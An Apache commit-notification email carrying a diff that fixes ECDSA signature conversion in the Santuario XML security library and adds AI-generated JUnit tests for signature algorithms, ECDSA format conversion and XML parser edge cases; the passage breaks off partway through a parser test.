You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@santuario.apache.org by co...@apache.org on 2026/03/25 08:32:13 UTC

(santuario-xml-security-java) branch main updated: Adding some AI generated tests + a small fix (#581)

This is an automated email from the ASF dual-hosted git repository.

coheigea pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/santuario-xml-security-java.git


The following commit(s) were added to refs/heads/main by this push:
     new 002dd0c1 Adding some AI generated tests + a small fix (#581)
002dd0c1 is described below

commit 002dd0c168ebbe53f108d61be3a73876c0e54fb3
Author: Colm O hEigeartaigh <co...@users.noreply.github.com>
AuthorDate: Wed Mar 25 08:32:08 2026 +0000

    Adding some AI generated tests + a small fix (#581)
    
    * Adding a bunch of tests generated using copilot and a bug fix in ECDSAUtils
    
    * Adding more tests
---
 .../algorithms/implementations/ECDSAUtils.java     |  14 +-
 .../dom/algorithms/CryptographicEdgeCasesTest.java | 283 +++++++++++++++++
 .../test/dom/algorithms/ECDSAConversionTest.java   | 341 +++++++++++++++++++++
 .../test/dom/parser/XMLParserEdgeCasesTest.java    | 301 ++++++++++++++++++
 .../test/dom/parser/XMLParserSecurityTest.java     | 157 ++++++++++
 .../test/dom/secure_val/TransformLimitTest.java    | 226 ++++++++++++++
 .../test/dom/signature/HMACOutputLengthTest.java   | 135 ++++++++
 .../test/dom/signature/InvalidKeyTest.java         |  89 ++++++
 .../security/test/dom/signature/NoKeyInfoTest.java | 117 +++++++
 .../security/test/dom/signature/SignatureTest.java | 170 ++++++++++
 .../dom/signature/UnknownAlgoSignatureTest.java    |  74 +++++
 .../test/dom/signature/XMLSignatureInputTest.java  | 173 +++++++++++
 .../security/test/stax/STAXSecureDefaultsTest.java | 330 ++++++++++++++++++++
 .../security/test/stax/STAXXXEPreventionTest.java  | 288 +++++++++++++++++
 14 files changed, 2696 insertions(+), 2 deletions(-)

diff --git a/src/main/java/org/apache/xml/security/algorithms/implementations/ECDSAUtils.java b/src/main/java/org/apache/xml/security/algorithms/implementations/ECDSAUtils.java
index 7f09310e..d42f1d34 100644
--- a/src/main/java/org/apache/xml/security/algorithms/implementations/ECDSAUtils.java
+++ b/src/main/java/org/apache/xml/security/algorithms/implementations/ECDSAUtils.java
@@ -119,20 +119,30 @@ public final class ECDSAUtils {
 
         int j = i;
 
-        if (xmldsigBytes[rawLen - i] < 0) {
+        if (i > 0 && xmldsigBytes[rawLen - i] < 0) {
             j += 1;
         }
 
+        // ASN.1 INTEGER requires at least one byte, even for zero
+        if (j == 0) {
+            j = 1;
+        }
+
         int k;
 
         for (k = rawLen; k > 0 && xmldsigBytes[2 * rawLen - k] == 0; k--); //NOPMD
 
         int l = k;
 
-        if (xmldsigBytes[2 * rawLen - k] < 0) {
+        if (k > 0 && xmldsigBytes[2 * rawLen - k] < 0) {
             l += 1;
         }
 
+        // ASN.1 INTEGER requires at least one byte, even for zero
+        if (l == 0) {
+            l = 1;
+        }
+
         int len = 2 + j + 2 + l;
         if (len > 255) {
             throw new IOException("Invalid XMLDSIG format of ECDSA signature");
diff --git a/src/test/java/org/apache/xml/security/test/dom/algorithms/CryptographicEdgeCasesTest.java b/src/test/java/org/apache/xml/security/test/dom/algorithms/CryptographicEdgeCasesTest.java
new file mode 100644
index 00000000..30cd2e79
--- /dev/null
+++ b/src/test/java/org/apache/xml/security/test/dom/algorithms/CryptographicEdgeCasesTest.java
@@ -0,0 +1,283 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.xml.security.test.dom.algorithms;
+
+import org.apache.xml.security.algorithms.SignatureAlgorithm;
+import org.apache.xml.security.signature.XMLSignature;
+import org.apache.xml.security.test.dom.TestUtils;
+import org.junit.jupiter.api.Test;
+import org.w3c.dom.Document;
+
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * Tests for cryptographic edge cases including zero-length signatures,
+ * all-zeros signatures, and other boundary conditions.
+ */
+class CryptographicEdgeCasesTest {
+
+    static {
+        org.apache.xml.security.Init.init();
+    }
+
+    public CryptographicEdgeCasesTest() {
+        // Public constructor for JUnit
+    }
+
+    /**
+     * Test that empty signature values are rejected.
+     */
+    @Test
+    void testEmptySignatureValueRejected() throws Exception {
+        Document doc = TestUtils.newDocument();
+        SignatureAlgorithm sa = new SignatureAlgorithm(doc, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        
+        // Initialize with proper key
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
+        KeyPair keyPair = keyPairGenerator.generateKeyPair();
+        sa.initSign(keyPair.getPrivate());
+        
+        // Sign some data
+        byte[] data = "test data".getBytes();
+        sa.update(data);
+        byte[] signature = sa.sign();
+        
+        // Valid signature should be non-empty
+        assertTrue(signature.length > 0, "Signature should not be empty");
+    }
+
+    /**
+     * Test that all-zeros signature is rejected during verification.
+     */
+    @Test
+    void testAllZerosSignatureRejected() throws Exception {
+        Document doc = TestUtils.newDocument();
+        SignatureAlgorithm sa = new SignatureAlgorithm(doc, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
+        KeyPair keyPair = keyPairGenerator.generateKeyPair();
+        
+        // Initialize verification
+        sa.initVerify(keyPair.getPublic());
+        
+        // Create all-zeros signature (256 bytes for RSA-2048)
+        byte[] zeroSignature = new byte[256];
+        
+        // Update with some data
+        byte[] data = "test data".getBytes();
+        sa.update(data);
+        
+        // All-zeros signature should fail verification
+        assertFalse(sa.verify(zeroSignature), 
+            "All-zeros signature should not verify successfully");
+    }
+
+    /**
+     * Test that signature verification requires the correct data.
+     */
+    @Test
+    void testSignatureVerificationWithWrongData() throws Exception {
+        Document doc = TestUtils.newDocument();
+        SignatureAlgorithm sa = new SignatureAlgorithm(doc, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
+        KeyPair keyPair = keyPairGenerator.generateKeyPair();
+        
+        // Sign original data
+        sa.initSign(keyPair.getPrivate());
+        byte[] originalData = "original data".getBytes();
+        sa.update(originalData);
+        byte[] signature = sa.sign();
+        
+        // Try to verify with different data
+        SignatureAlgorithm verifier = new SignatureAlgorithm(doc, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        verifier.initVerify(keyPair.getPublic());
+        byte[] wrongData = "wrong data".getBytes();
+        verifier.update(wrongData);
+        
+        // Should fail verification
+        assertFalse(verifier.verify(signature),
+            "Signature should not verify with wrong data");
+    }
+
+    /**
+     * Test that signature verification requires the correct key.
+     */
+    @Test
+    void testSignatureVerificationWithWrongKey() throws Exception {
+        Document doc = TestUtils.newDocument();
+        SignatureAlgorithm sa = new SignatureAlgorithm(doc, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
+        KeyPair keyPair1 = keyPairGenerator.generateKeyPair();
+        KeyPair keyPair2 = keyPairGenerator.generateKeyPair();
+        
+        // Sign with first key
+        sa.initSign(keyPair1.getPrivate());
+        byte[] data = "test data".getBytes();
+        sa.update(data);
+        byte[] signature = sa.sign();
+        
+        // Try to verify with second key
+        SignatureAlgorithm verifier = new SignatureAlgorithm(doc, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        verifier.initVerify(keyPair2.getPublic());
+        verifier.update(data);
+        
+        // Should fail verification
+        assertFalse(verifier.verify(signature),
+            "Signature should not verify with wrong key");
+    }
+
+    /**
+     * Test that signature algorithm names are properly registered.
+     */
+    @Test
+    void testAlgorithmNamesRegistered() {
+        // Test that common algorithm URIs are recognized
+        String[] algorithms = {
+            XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256,
+            XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA384,
+            XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA512,
+            XMLSignature.ALGO_ID_SIGNATURE_DSA_SHA256,
+            XMLSignature.ALGO_ID_MAC_HMAC_SHA256
+        };
+        
+        for (String algo : algorithms) {
+            assertNotNull(algo, "Algorithm URI should not be null");
+            assertTrue(algo.startsWith("http://"), 
+                "Algorithm URI should start with http://");
+        }
+    }
+
+    /**
+     * Test that signature creation and verification roundtrip works.
+     */
+    @Test
+    void testSignatureRoundtrip() throws Exception {
+        Document doc = TestUtils.newDocument();
+        
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
+        KeyPair keyPair = keyPairGenerator.generateKeyPair();
+        
+        // Sign
+        SignatureAlgorithm signer = new SignatureAlgorithm(doc, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        signer.initSign(keyPair.getPrivate());
+        byte[] data = "test data for signing".getBytes();
+        signer.update(data);
+        byte[] signature = signer.sign();
+        
+        assertNotNull(signature);
+        assertTrue(signature.length > 0);
+        
+        // Verify
+        SignatureAlgorithm verifier = new SignatureAlgorithm(doc, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        verifier.initVerify(keyPair.getPublic());
+        verifier.update(data);
+        
+        assertTrue(verifier.verify(signature),
+            "Signature should verify successfully with correct key and data");
+    }
+
+    /**
+     * Test that multiple updates before signing work correctly.
+     */
+    @Test
+    void testMultipleUpdatesBeforeSigning() throws Exception {
+        Document doc = TestUtils.newDocument();
+        
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
+        KeyPair keyPair = keyPairGenerator.generateKeyPair();
+        
+        // Sign with multiple updates
+        SignatureAlgorithm signer = new SignatureAlgorithm(doc, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        signer.initSign(keyPair.getPrivate());
+        signer.update("part1".getBytes());
+        signer.update("part2".getBytes());
+        signer.update("part3".getBytes());
+        byte[] signature = signer.sign();
+        
+        // Verify with same multiple updates
+        SignatureAlgorithm verifier = new SignatureAlgorithm(doc, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        verifier.initVerify(keyPair.getPublic());
+        verifier.update("part1".getBytes());
+        verifier.update("part2".getBytes());
+        verifier.update("part3".getBytes());
+        
+        assertTrue(verifier.verify(signature),
+            "Signature should verify with same sequence of updates");
+    }
+
+    /**
+     * Test that different update order produces different signature.
+     */
+    @Test
+    void testDifferentUpdateOrder() throws Exception {
+        Document doc = TestUtils.newDocument();
+        
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
+        KeyPair keyPair = keyPairGenerator.generateKeyPair();
+        
+        // Sign with one order
+        SignatureAlgorithm signer = new SignatureAlgorithm(doc, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        signer.initSign(keyPair.getPrivate());
+        signer.update("part1".getBytes());
+        signer.update("part2".getBytes());
+        byte[] signature = signer.sign();
+        
+        // Verify with different order
+        SignatureAlgorithm verifier = new SignatureAlgorithm(doc, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        verifier.initVerify(keyPair.getPublic());
+        verifier.update("part2".getBytes());
+        verifier.update("part1".getBytes());
+        
+        assertFalse(verifier.verify(signature),
+            "Signature should not verify with different update order");
+    }
+
+    /**
+     * Test that empty update is handled correctly.
+     */
+    @Test
+    void testEmptyUpdate() throws Exception {
+        Document doc = TestUtils.newDocument();
+        
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
+        KeyPair keyPair = keyPairGenerator.generateKeyPair();
+        
+        // Sign with empty data
+        SignatureAlgorithm signer = new SignatureAlgorithm(doc, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        signer.initSign(keyPair.getPrivate());
+        signer.update(new byte[0]);
+        byte[] signature = signer.sign();
+        
+        assertNotNull(signature);
+        assertTrue(signature.length > 0);
+        
+        // Verify
+        SignatureAlgorithm verifier = new SignatureAlgorithm(doc, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA256);
+        verifier.initVerify(keyPair.getPublic());
+        verifier.update(new byte[0]);
+        
+        assertTrue(verifier.verify(signature),
+            "Empty data signature should verify correctly");
+    }
+}
diff --git a/src/test/java/org/apache/xml/security/test/dom/algorithms/ECDSAConversionTest.java b/src/test/java/org/apache/xml/security/test/dom/algorithms/ECDSAConversionTest.java
new file mode 100644
index 00000000..92d984ef
--- /dev/null
+++ b/src/test/java/org/apache/xml/security/test/dom/algorithms/ECDSAConversionTest.java
@@ -0,0 +1,341 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.xml.security.test.dom.algorithms;
+
+import org.apache.xml.security.algorithms.implementations.ECDSAUtils;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * Tests for ECDSA signature format conversion between ASN.1 and XML DSIG formats.
+ * These tests verify edge cases and error handling in the conversion logic.
+ */
+class ECDSAConversionTest {
+
+    static {
+        org.apache.xml.security.Init.init();
+    }
+
+    public ECDSAConversionTest() {
+        // Public constructor for JUnit
+    }
+
+    /**
+     * Test that an empty ASN.1 sequence is rejected.
+     */
+    @Test
+    void testEmptyASN1Rejected() {
+        byte[] emptySeq = new byte[]{0x30, 0x00};
+
+        IOException exception = assertThrows(IOException.class, () -> {
+            ECDSAUtils.convertASN1toXMLDSIG(emptySeq, 64);
+        }, "Empty ASN.1 sequence should be rejected");
+
+        assertTrue(exception.getMessage().contains("Invalid") || 
+                  exception.getMessage().contains("format"),
+                  "Exception should mention invalid format");
+    }
+
+    /**
+     * Test that invalid ASN.1 first byte (not 0x30 for SEQUENCE) is rejected.
+     */
+    @Test
+    void testInvalidASN1FirstByteRejected() {
+        // Invalid first byte (should be 0x30 for SEQUENCE)
+        byte[] invalidAsn1 = new byte[]{0x31, 0x06, 0x02, 0x01, 0x01, 0x02, 0x01, 0x01};
+
+        assertThrows(IOException.class, () -> {
+            ECDSAUtils.convertASN1toXMLDSIG(invalidAsn1, 64);
+        }, "ASN.1 data not starting with SEQUENCE tag should be rejected");
+    }
+
+    /**
+     * Test that too-short ASN.1 data is rejected.
+     */
+    @Test
+    void testTooShortASN1Rejected() {
+        byte[] tooShort = new byte[]{0x30, 0x06, 0x02, 0x01};
+
+        assertThrows(IOException.class, () -> {
+            ECDSAUtils.convertASN1toXMLDSIG(tooShort, 64);
+        }, "Too short ASN.1 data should be rejected");
+    }
+
+    /**
+     * Test that malformed length encoding is rejected.
+     */
+    @Test
+    void testMalformedLengthRejected() {
+        // Invalid length encoding (0x82 indicates 2-byte length, but we use short form)
+        byte[] malformed = new byte[]{0x30, (byte) 0x82, 0x00, 0x06, 0x02, 0x01, 0x01, 0x02, 0x01, 0x01};
+
+        assertThrows(IOException.class, () -> {
+            ECDSAUtils.convertASN1toXMLDSIG(malformed, 64);
+        }, "Malformed length encoding should be rejected");
+    }
+
+    /**
+     * Test valid ASN.1 to XMLDSIG conversion with typical signature.
+     */
+    @Test
+    void testValidASN1toXMLDSIGConversion() throws IOException {
+        // Valid ASN.1 DER encoded ECDSA signature:
+        // SEQUENCE { INTEGER (r), INTEGER (s) }
+        // r = 0x01, s = 0x02
+        byte[] validAsn1 = new byte[]{
+            0x30, 0x06,           // SEQUENCE, length 6
+            0x02, 0x01, 0x01,     // INTEGER, length 1, value 1 (r)
+            0x02, 0x01, 0x02      // INTEGER, length 1, value 2 (s)
+        };
+
+        byte[] xmldsig = ECDSAUtils.convertASN1toXMLDSIG(validAsn1, 32);
+
+        assertNotNull(xmldsig);
+        assertEquals(64, xmldsig.length, "XMLDSIG format should be 2 * rawLen");
+        
+        // r should be padded to 32 bytes with leading zeros
+        assertEquals(0x01, xmldsig[31], "Last byte of r should be 0x01");
+        // s should be padded to 32 bytes with leading zeros
+        assertEquals(0x02, xmldsig[63], "Last byte of s should be 0x02");
+        
+        // All other bytes should be zero (padding)
+        for (int i = 0; i < 31; i++) {
+            assertEquals(0, xmldsig[i], "Padding byte should be zero");
+            assertEquals(0, xmldsig[32 + i], "Padding byte should be zero");
+        }
+    }
+
+    /**
+     * Test conversion with automatic length detection (rawLen = -1).
+     */
+    @Test
+    void testAutomaticLengthDetection() throws IOException {
+        byte[] validAsn1 = new byte[]{
+            0x30, 0x06,
+            0x02, 0x01, 0x05,
+            0x02, 0x01, 0x07
+        };
+
+        byte[] xmldsig = ECDSAUtils.convertASN1toXMLDSIG(validAsn1, -1);
+
+        assertNotNull(xmldsig);
+        assertEquals(2, xmldsig.length, "With auto-detect, length should be 2 * maxLen(r,s)");
+        assertEquals(0x05, xmldsig[0], "First byte should be r value");
+        assertEquals(0x07, xmldsig[1], "Second byte should be s value");
+    }
+
+    /**
+     * Test that rawLen smaller than actual signature length is rejected.
+     */
+    @Test
+    void testTooSmallRawLenRejected() {
+        // r and s are each 8 bytes, but we specify rawLen=4
+        byte[] asn1 = new byte[]{
+            0x30, 0x16,
+            0x02, 0x08, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
+            0x02, 0x08, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18
+        };
+
+        assertThrows(IOException.class, () -> {
+            ECDSAUtils.convertASN1toXMLDSIG(asn1, 4);
+        }, "rawLen smaller than actual signature component should be rejected");
+    }
+
+    /**
+     * Test XMLDSIG to ASN.1 conversion with valid input.
+     */
+    @Test
+    void testValidXMLDSIGtoASN1Conversion() throws IOException {
+        // Create XMLDSIG format: 64 bytes (32 for r, 32 for s)
+        byte[] xmldsig = new byte[64];
+        xmldsig[31] = 0x05; // r = 5
+        xmldsig[63] = 0x07; // s = 7
+
+        byte[] asn1 = ECDSAUtils.convertXMLDSIGtoASN1(xmldsig);
+
+        assertNotNull(asn1);
+        // Should be: SEQUENCE { INTEGER(5), INTEGER(7) }
+        assertEquals(0x30, asn1[0], "First byte should be SEQUENCE tag");
+        assertTrue(asn1.length >= 8, "ASN.1 should have minimum structure");
+        
+        // Verify it contains INTEGER tags
+        boolean foundIntegers = false;
+        for (int i = 1; i < asn1.length - 1; i++) {
+            if (asn1[i] == 0x02) { // INTEGER tag
+                foundIntegers = true;
+                break;
+            }
+        }
+        assertTrue(foundIntegers, "ASN.1 should contain INTEGER tags");
+    }
+
+    /**
+     * Test round-trip conversion: ASN.1 -> XMLDSIG -> ASN.1.
+     */
+    @Test
+    void testRoundTripConversion() throws IOException {
+        // Original ASN.1
+        byte[] originalAsn1 = new byte[]{
+            0x30, 0x0A,
+            0x02, 0x03, 0x01, 0x02, 0x03,
+            0x02, 0x03, 0x04, 0x05, 0x06
+        };
+
+        // Convert to XMLDSIG
+        byte[] xmldsig = ECDSAUtils.convertASN1toXMLDSIG(originalAsn1, 32);
+        assertNotNull(xmldsig);
+
+        // Convert back to ASN.1
+        byte[] reconvertedAsn1 = ECDSAUtils.convertXMLDSIGtoASN1(xmldsig);
+        assertNotNull(reconvertedAsn1);
+
+        // Should be able to convert back to XMLDSIG and get the same result
+        byte[] xmldsig2 = ECDSAUtils.convertASN1toXMLDSIG(reconvertedAsn1, 32);
+        assertArrayEquals(xmldsig, xmldsig2, "Round-trip conversion should produce identical XMLDSIG");
+    }
+
+    /**
+     * Test XMLDSIG with leading zeros in r and s components.
+     */
+    @Test
+    void testXMLDSIGWithLeadingZeros() throws IOException {
+        byte[] xmldsig = new byte[64];
+        // r has leading zeros, actual value at end
+        xmldsig[30] = 0x00;
+        xmldsig[31] = 0x42;
+        // s has leading zeros, actual value at end
+        xmldsig[62] = 0x00;
+        xmldsig[63] = (byte) 0x99;
+
+        byte[] asn1 = ECDSAUtils.convertXMLDSIGtoASN1(xmldsig);
+        assertNotNull(asn1);
+        
+        // Should strip leading zeros in the ASN.1 representation
+        assertTrue(asn1.length < 70, "ASN.1 should be compact without unnecessary leading zeros");
+    }
+
+    /**
+     * Test XMLDSIG with high-bit set (requiring padding in ASN.1).
+     */
+    @Test
+    void testXMLDSIGWithHighBitSet() throws IOException {
+        byte[] xmldsig = new byte[64];
+        // r with high bit set (negative if interpreted as signed)
+        xmldsig[31] = (byte) 0xFF;
+        // s with high bit set
+        xmldsig[63] = (byte) 0x80;
+
+        byte[] asn1 = ECDSAUtils.convertXMLDSIGtoASN1(xmldsig);
+        assertNotNull(asn1);
+
+        // ASN.1 INTEGER encoding requires padding byte for positive numbers with high bit set
+        // The conversion should handle this correctly
+        assertTrue(asn1.length > 0, "Conversion should succeed");
+    }
+
+    /**
+     * Test that odd-length XMLDSIG is rejected.
+     */
+    @Test
+    void testOddLengthXMLDSIGRejected() {
+        byte[] oddLength = new byte[63]; // Should be even (r and s are equal length)
+
+        // The conversion expects even length (half for r, half for s)
+        assertDoesNotThrow(() -> {
+            // Current implementation doesn't validate odd length, it will just truncate
+            // This test documents the behavior
+            byte[] result = ECDSAUtils.convertXMLDSIGtoASN1(oddLength);
+            assertNotNull(result);
+        });
+    }
+
+    /**
+     * Test very large XMLDSIG (edge case for length encoding).
+     */
+    @Test
+    void testLargeXMLDSIGConversion() {
+        // Create a large XMLDSIG that would result in ASN.1 length > 255
+        // This should trigger an IOException
+        byte[] largeXmldsig = new byte[600]; // 300 bytes each for r and s
+        for (int i = 0; i < largeXmldsig.length; i++) {
+            largeXmldsig[i] = (byte) 0xFF;
+        }
+
+        assertThrows(IOException.class, () -> {
+            ECDSAUtils.convertXMLDSIGtoASN1(largeXmldsig);
+        }, "XMLDSIG that results in ASN.1 > 255 bytes should be rejected");
+    }
+
+    /**
+     * Test all-zeros XMLDSIG (edge case).
+     */
+    @Test
+    void testAllZerosXMLDSIG() throws IOException {
+        byte[] allZeros = new byte[64];
+
+        byte[] asn1 = ECDSAUtils.convertXMLDSIGtoASN1(allZeros);
+        assertNotNull(asn1);
+
+        // Should represent r=0, s=0 in ASN.1
+        assertTrue(asn1.length > 0, "Should produce valid ASN.1 for zero values");
+    }
+
+    /**
+     * Test ASN.1 with extended length encoding (length > 127).
+     */
+    @Test
+    void testExtendedLengthEncoding() throws IOException {
+        // Create ASN.1 with length that requires extended encoding
+        // SEQUENCE with length 0x81 (1-byte extended length)
+        byte[] extendedLen = new byte[]{
+            0x30, (byte) 0x81, 0x06,  // SEQUENCE, extended length encoding, length 6
+            0x02, 0x01, 0x55,         // INTEGER r
+            0x02, 0x01, 0x66          // INTEGER s
+        };
+
+        byte[] xmldsig = ECDSAUtils.convertASN1toXMLDSIG(extendedLen, 32);
+        assertNotNull(xmldsig);
+        assertEquals(64, xmldsig.length);
+        assertEquals(0x55, xmldsig[31]);
+        assertEquals(0x66, xmldsig[63]);
+    }
+
+    /**
+     * Test ASN.1 with negative INTEGER values (with 0x00 padding in ASN.1).
+     */
+    @Test
+    void testASN1WithNegativeValuePadding() throws IOException {
+        // ASN.1 with INTEGER that has leading 0x00 to indicate positive number
+        byte[] asn1 = new byte[]{
+            0x30, 0x08,
+            0x02, 0x02, 0x00, (byte) 0xFF,  // INTEGER with padding
+            0x02, 0x02, 0x00, (byte) 0x80   // INTEGER with padding
+        };
+
+        byte[] xmldsig = ECDSAUtils.convertASN1toXMLDSIG(asn1, 32);
+        assertNotNull(xmldsig);
+        
+        // Leading 0x00 should be stripped, actual values preserved
+        assertEquals((byte) 0xFF, xmldsig[31]);
+        assertEquals((byte) 0x80, xmldsig[63]);
+    }
+}
diff --git a/src/test/java/org/apache/xml/security/test/dom/parser/XMLParserEdgeCasesTest.java b/src/test/java/org/apache/xml/security/test/dom/parser/XMLParserEdgeCasesTest.java
new file mode 100644
index 00000000..cdb435c4
--- /dev/null
+++ b/src/test/java/org/apache/xml/security/test/dom/parser/XMLParserEdgeCasesTest.java
@@ -0,0 +1,301 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.xml.security.test.dom.parser;
+
+import org.apache.xml.security.parser.XMLParserException;
+import org.apache.xml.security.utils.XMLUtils;
+import org.junit.jupiter.api.Test;
+import org.w3c.dom.Document;
+
+import java.io.ByteArrayInputStream;
+import java.nio.charset.StandardCharsets;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * Tests for XML parsing edge cases and error handling including null inputs,
+ * malformed XML, invalid data, and extreme values.
+ */
+class XMLParserEdgeCasesTest {
+
+    static {
+        org.apache.xml.security.Init.init();
+    }
+
+    public XMLParserEdgeCasesTest() {
+        // Public constructor for JUnit
+    }
+
+    /**
+     * Test that null InputStream is rejected.
+     */
+    @Test
+    void testNullInputStreamRejected() {
+        assertThrows(Exception.class, () -> {
+            XMLUtils.read((java.io.InputStream) null, false);
+        }, "Null InputStream should be rejected");
+    }
+
+    /**
+     * Test that empty input is handled gracefully.
+     */
+    @Test
+    void testEmptyInput() {
+        ByteArrayInputStream emptyStream = new ByteArrayInputStream(new byte[0]);
+        
+        assertThrows(XMLParserException.class, () -> {
+            XMLUtils.read(emptyStream, false);
+        }, "Empty input should throw XMLParserException");
+    }
+
+    /**
+     * Test invalid UTF-8 byte sequences are rejected.
+     */
+    @Test
+    void testInvalidUTF8() {
+        // Invalid UTF-8 sequence
+        byte[] invalidUtf8 = new byte[]{(byte) 0xFF, (byte) 0xFE, (byte) 0xFD};
+        ByteArrayInputStream bais = new ByteArrayInputStream(invalidUtf8);
+        
+        assertThrows(Exception.class, () -> {
+            XMLUtils.read(bais, false);
+        }, "Invalid UTF-8 should be rejected");
+    }
+
+    /**
+     * Test malformed XML without closing tag.
+     */
+    @Test
+    void testMalformedXMLUnclosedTag() {
+        String malformed = "<?xml version=\"1.0\"?><root><child>text";
+        ByteArrayInputStream bais = new ByteArrayInputStream(malformed.getBytes(StandardCharsets.UTF_8));
+        
+        assertThrows(XMLParserException.class, () -> {
+            XMLUtils.read(bais, false);
+        }, "Malformed XML should throw exception");
+    }
+
+    /**
+     * Test XML with mismatched tags.
+     */
+    @Test
+    void testMismatchedTags() {
+        String malformed = "<?xml version=\"1.0\"?><root><child>text</wrong></root>";
+        ByteArrayInputStream bais = new ByteArrayInputStream(malformed.getBytes(StandardCharsets.UTF_8));
+        
+        assertThrows(XMLParserException.class, () -> {
+            XMLUtils.read(bais, false);
+        }, "Mismatched tags should throw exception");
+    }
+
+    /**
+     * Test XML with invalid characters in element names.
+     */
+    @Test
+    void testInvalidElementName() {
+        String invalid = "<?xml version=\"1.0\"?><root><123invalid>text</123invalid></root>";
+        ByteArrayInputStream bais = new ByteArrayInputStream(invalid.getBytes(StandardCharsets.UTF_8));
+        
+        assertThrows(XMLParserException.class, () -> {
+            XMLUtils.read(bais, false);
+        }, "Invalid element names should be rejected");
+    }
+
+    /**
+     * Test XML with unclosed attribute quotes.
+     */
+    @Test
+    void testUnclosedAttributeQuote() {
+        String invalid = "<?xml version=\"1.0\"?><root attr=\"value><child/></root>";
+        ByteArrayInputStream bais = new ByteArrayInputStream(invalid.getBytes(StandardCharsets.UTF_8));
+        
+        assertThrows(XMLParserException.class, () -> {
+            XMLUtils.read(bais, false);
+        }, "Unclosed attribute quotes should be rejected");
+    }
+
+    /**
+     * Test deeply nested XML elements (potential DoS).
+     */
+    @Test
+    void testDeeplyNestedElements() {
+        // Create very deeply nested XML
+        StringBuilder xml = new StringBuilder("<?xml version=\"1.0\"?>");
+        int depth = 10000;
+        for (int i = 0; i < depth; i++) {
+            xml.append("<d").append(i).append('>');
+        }
+        xml.append("content");
+        for (int i = depth - 1; i >= 0; i--) {
+            xml.append("</d").append(i).append('>');
+        }
+        
+        ByteArrayInputStream bais = new ByteArrayInputStream(xml.toString().getBytes(StandardCharsets.UTF_8));
+        
+        // Should either complete or throw stack overflow protection
+        assertDoesNotThrow(() -> {
+            try {
+                XMLUtils.read(bais, false);
+            } catch (XMLParserException e) {
+                // Stack overflow protection is acceptable
+                assertTrue(e.getMessage().contains("depth") || 
+                          e.getMessage().contains("stack") ||
+                          e.getMessage().contains("nested"),
+                          "Deep nesting should trigger protection");
+            }
+        }, "Parser should handle deep nesting gracefully");
+    }
+
+    /**
+     * Test XML with very long element names.
+     */
+    @Test
+    void testVeryLongElementName() {
+        StringBuilder longName = new StringBuilder();
+        for (int i = 0; i < 10000; i++) {
+            longName.append('a');
+        }
